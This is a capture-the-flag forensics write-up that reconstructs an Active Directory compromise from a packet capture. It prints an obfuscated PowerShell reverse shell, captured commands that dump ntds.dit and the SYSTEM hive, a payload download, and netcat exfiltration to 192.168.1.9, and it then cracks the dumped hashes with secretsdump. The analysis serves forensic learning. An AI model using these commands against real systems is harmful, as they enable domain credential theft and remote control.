HTB Uni CTF qualifications 2021 - Forensics - Keep the steam activated

This was the third, hardest rated forensics challenge in the CTF.

We have a packet capture. Looking at File->Export Objects for HTTP packets, we can see a reverse shell script being dropped on the victim's machine

```
sv ('8mxc'+'p')  ([tyPe]("{1}{0}{2}" -f 't.encOdi','tex','nG') ) ;${ClI`E`Nt} = &("{1}{0}{2}"-f 'je','New-Ob','ct') ("{5}{0}{8}{1}{2}{3}{4}{6}{7}" -f'y','m','.Net.So','ckets.T','C','S','PC','lient','ste')(("{0}{1}{2}" -f '192.168','.1','.9'),4443);${sT`Re`Am} = ${C`L`IeNT}.("{0}{2}{1}"-f'Ge','tream','tS').Invoke();[byte[]]${By`T`es} = 0..65535|.('%'){0};while((${i} = ${str`EaM}.("{0}{1}" -f'Re','ad').Invoke(${bY`Tes}, 0, ${by`TEs}."Len`G`TH")) -ne 0){;${d`AtA} = (.("{2}{1}{0}"-f '-Object','w','Ne') -TypeName ("{0}{3}{5}{1}{4}{2}" -f'Syst','ASCI','g','em.Text','IEncodin','.')).("gETSt`R`i`Ng"(${by`TES},0, ${i});${SeN`DBacK} = (.("{0}{1}"-f 'ie','x') ${Da`Ta} 2>&1 | &("{0}{2}{1}"-f'Out-','ing','Str') );${SENdb`AC`k2} = ${s`eNDb`ACK} + "PS " + (.("{1}{0}"-f'd','pw')).("P`ATH" + "> ";${sE`NDBYtE} = (  (  vaRIaBle ('8MXC'+'P')  -ValUe  )::"ASC`Ii").("{2}{1}{0}"-f'es','tByt','Ge').Invoke(${SENdB`AC`K2});${sT`REAM}.("{0}{1}" -f'Writ','e').Invoke(${S`e`NdbY`Te},0,${SE`NDbyTe}."lENG`TH");${S`TR`eAM}.("{1}{0}" -f 'h','Flus').Invoke()};${clIE`Nt}.("{0}{1}"-f 'Cl','ose').Invoke()
```

We can also see `n.exe` being dropped which turns out to likely be netcat.

We can see SMB2 protocol traffic, with the attacked trying to presumably authenticate as various different users on the box.

We observe a very interesting TCP stream after the attacker has successfully authenticated as `corp\asmith`:

```
PS C:\> whoami;hostname
corp\asmith
corp-dc
PS C:\> ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\temp
Creating snapshot...
Snapshot set {7f610e6f-46fe-4e74-9cc9-baa92f19f67a} generated successfully.
Snapshot {710fb56f-b795-44ef-b88a-d25aa3026d36} mounted as C:\$SNAP_202111051500_VOLUMEC$\
Snapshot {710fb56f-b795-44ef-b88a-d25aa3026d36} is already mounted.
Initiating DEFRAGMENTATION mode...
     Source Database: C:\$SNAP_202111051500_VOLUMEC$\Windows\NTDS\ntds.dit
     Target Database: c:\temp\Active Directory\ntds.dit

                    Defragmentation  Status (omplete)

          0    10   20   30   40   50   60   70   80   90  100
```

```
          |----|----|----|----|----|----|----|----|----|----|
          ..................................................

Copying registry files...
Copying c:\temp\registry\SYSTEM
Copying c:\temp\registry\SECURITY
Snapshot {710fb56f-b795-44ef-b88a-d25aa3026d36} unmounted.
IFM media created successfully in c:\temp
ifm: q
C:\Windows\system32\ntdsutil.exe: q
PS C:\> iex (New-Object
System.Net.WebClient).DownloadFile("http://192.168.1.9/n.exe","C:\Users\Publ
ic\Music\n.exe")
PS C:\> certutil -encode "C:\temp\Active Directory\ntds.dit"
"C:\temp\ntds.b64"
Input Length = 33554432
Output Length = 46137402
CertUtil: -encode command completed successfully.
PS C:\> certutil -encode "C:\temp\REGISTRY\SYSTEM" "C:\temp\system.b64"
Input Length = 15204352
Output Length = 20906044
CertUtil: -encode command completed successfully.
PS C:\> cat C:\temp\ntds.b64 | C:\Users\Public\Music\n.exe 192.168.1.9 8080
PS C:\> cat C:\temp\system.b64 | C:\Users\Public\Music\n.exe 192.168.1.9
8080
PS C:\>
```

We can see that the attacker is preparing dumps of the `ntds.dit` file and the system hive. These can be used together to extract password hashes from the system remotely. The base64-encoded files are then exfiltrated using netcat.

What follows are 2 TCP streams containing the files.

```
-----BEGIN CERTIFICATE-----
46D3Pu/Nq4kgBgAAAAAAAJInAQAAAAAAgkA/WRUAFgULeQcMAAAAAAAAAAAAAAAA
AAAAAAMAAAAAAAAAAAAABcAFgULeVUGFQAWBQt5gwwAAAAAAAAABcAFgULeVUG
AAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-----END CERTIFICATE-----
```

```
-----BEGIN CERTIFICATE-----
cmVnZj4DAAA+AwAAAAAAAAAAAABAAAABQAAAAAAAAABAAAAIAAAAACA5wABAAAA
UwBZAFMAVABFAE0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[...]
AAAAAAAAAAAAAAAAAAAAA==
-----END CERTIFICATE-----
```

We can base64 decode these to obtain the files. After these streams, we observe another interesting TCP stream. Starting with a POST request to /wsman with a User-Agent: Ruby WinRM Client (likely Evil-WinRM), this is a stream of encrypted WinRM communications.

```
POST /wsman HTTP/1.1
Authorization: Negotiate TlRMTVNTUAABAAAAN4II4AAAAAAgAAAAAAAAACAAAABrYWxp
Content-Type: application/soap+xml;charset=UTF-8
User-Agent: Ruby WinRM Client (2.8.3, ruby 2.7.4 (2021-07-07))
Accept: */*
Date: Fri, 05 Nov 2021 11:04:51 GMT
Content-Length: 0
Host: 192.168.1.10:5985

HTTP/1.1 401
WWW-Authenticate: Negotiate
TlRMTVNTUAACAAAACAAIADgAAAA1goinqTEXMqd3x8AAAAAAAAAAIYAhgBAAAAACgBjRQAAAA9DAE8AUgBQAAIACABDAE8AUgBQAAEADgBDAE8AUgBQAC0ARABDAAQAFABDAE8AUgBQAC4AbABvAGMAYQBsAAMAJABjAG8AcgBwAC0AZABjAC4AQwBPAFIAUAAuAGwAbwBjAGEAbAAFABQAQwBPAFIAUAAuAGwAbwBjAGEAbAAHAAgAmFM6JZHS1wEAAAAA
Server: Microsoft-HTTPAPI/2.0
Date: Fri, 05 Nov 2021 22:04:46 GMT
Content-Length: 0

POST /wsman HTTP/1.1
Authorization: Negotiate
TlRMTVNTUAADAAAAGAAYAEAAAAC2ALYAWAAAAAAAAAAOAQAAGgAaAA4BAAAAAAAAKAEAABAAEAAoAQAANYII4FGr0U9+BxjDLz6gUODFV8wssErtNeq9Ixoj9oOcrA59gQv+Gevk7
JcBAQAAAAAAAIALVPQ00tcBLLBK7TXqvSMAAAAAAgAIAEMATwBSAFAAAQAOAEMATwBSAFAALQBEAEMABAAUAEMATwBSAFAALgBsAG8AYwBhAGwAAwAkAGMAbwByAHAALQBkAGMALg
BDAE8AUgBQAC4AbABvAGMAYQBsAAUAFABDAE8AUgBQAC4AbABvAGMAYQBsAAcACACYUzolkdLXAQAAAAAAAAAAYQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgCGB5DG8qioao7yPQf
89QoY
Content-Type: application/soap+xml;charset=UTF-8
User-Agent: Ruby WinRM Client (2.8.3, ruby 2.7.4 (2021-07-07))
Accept: */*
Date: Fri, 05 Nov 2021 11:04:51 GMT
Content-Length: 0
Host: 192.168.1.10:5985
```

These can be decrypted using [this Python script] if we know the NTLM hash of the user who was using WinRM. Since we have the `ntds.dit` and the system hive, we can find the password hashes! Using Impacket's secretsdump.py, we do

```
[19:26] atte@x1:examples (master %) $ python3 secretsdump.py -ntds ~/Documents/ctf/htb/ntds.dit -system ~/Documents/ctf/htb/systemhive -hashes lmhash:nthash LOCAL -outputfile extracted
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x406124541b22fb571fb552e27e956557
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 9da98598be012bc4a476100a50a63409
[*] Reading and decrypting hashes from /home/atte/Documents/ctf/htb/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8bb1f8635e5708eb95aedf142054fc95:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
CORP-DC$:1000:aad3b435b51404eeaad3b435b51404ee:94d5e7460c75a0b30d85744f633a0e66:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9555398600e2b2edf220d06a7c564e6f:::
CORP.local\fcastle:1103:aad3b435b51404eeaad3b435b51404ee:37fbc1731f66ad4e524160a732410f9d:::
CORP.local\jdoe:1104:aad3b435b51404eeaad3b435b51404ee:37fbc1731f66ad4e524160a732410f9d:::
WS01$:1105:aad3b435b51404eeaad3b435b51404ee:cd9c49cc4a1a535d27b64ab23d58f3e6:::
WS02$:1106:aad3b435b51404eeaad3b435b51404ee:98c3974cacc09721a351361504de4de5:::
CORP.local\asmith:1109:aad3b435b51404eeaad3b435b51404ee:acbfc03df96e93cf7294a01a6abbda33:::
[*] Kerberos keys from /home/atte/Documents/ctf/htb/ntds.dit
[ REDACTED ]
[*] Cleaning up...
```

Well, we have hashes of the victim's system. We can grab Administrator's NTLM hash and do

```
[19:26] atte@x1:examples (master %) $ python3 winrm_decode.py -n
8bb1f8635e5708eb95aedf142054fc95 ~/Documents/ctf/htb/capture.pcap >
decrypted_winrm
```

This gives us an XML file like the one in the link for winrm_decode.py. This contains unencrypted data about the WinRM communications that occurred. These are base64 encoded inside XML tags. After playing around with the file for a while, we find inside one of the Invoke-Expression command's arguments:

```
<Obj RefId="13">
                      <MS>
                        <Nil N="N" />
                        <S N="V">echo
"HTB{n0th1ng_1s_tru3_3v3ryth1ng_1s_d3crypt3d}"
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }</S>
                      </MS>
```

and we have the flag: `HTB{n0th1ng_1s_tru3_3v3ryth1ng_1s_d3crypt3d}`.

Let's not stop our analysis quite yet though. After the WinRM session, a file `drop.ps1` is dropped onto the victim's computer. After running it through VirusTotal and trying to run it inside a Virtual Machine, it looks to be a script that is used to drop the Covenant Command and Control tool onto the victims machine. We can also see the encrypted communications between the Covenant Grunt and whatever it is talking to in the pcap file, although decrypting those would be more difficult (if possible). The covenant communications look like this, after being decoded from base64 inside seemingly innocent HTTP requests:

```
{"GUID":"1daec7cae6","Type":0,"Meta":"","IV":"r4vbzKDCCv90dLF/JCnLbA==","Encr
yptedMessage":"PTPQe5mkdWT1eXNKNkrT7Lyfh6C/lubWhsNbjoRQU+/bx8TaJGB9BRqHn9aoeQ
LOTuczQ/JxUTHDTzRSRBgRAHLgsJUNJpp4KYPGwO7i97slWPZ3Iu868W40lF7jYYegDj1l5XPok37
j3wEI2qRkX9f6NMSC3P+WC4z4OC5q+HQSwNi6e5zF2SYl8gGq49cTjaiWFfXteTFl+xl+S5JTa9fn
ubD6edNdFXU/ex/7SjyZXNtURu+E0DDsYt1KntPojmXDi9GrJJ+PoTBbnCxaq6GUu3nBT4EUaWviW
tZBqHvT4+9R88nmFn9ltZphoZ5N3yD7mlqEOHMzpow4MEOvURLr4JFGywpqcDfn/mNjz20=","HMA
C":"r/ZtDpVHVBb0ixbNZK3beRjt/huhFaL/COqzZge3VFk="}
```

We can thus summarize the events as follows:

1. The attacker authenticates to the machine as `CORP\asmith`
2. The attacker exfiltrates the `ntds.dit` and SYSTEM registry hive
3. The flag is exfiltrated over WinRM/WSMAN
4. Covenant C2 is dropped on the box and encrypted communications are observed.

All in all, a very fun challenge and I learned a lot!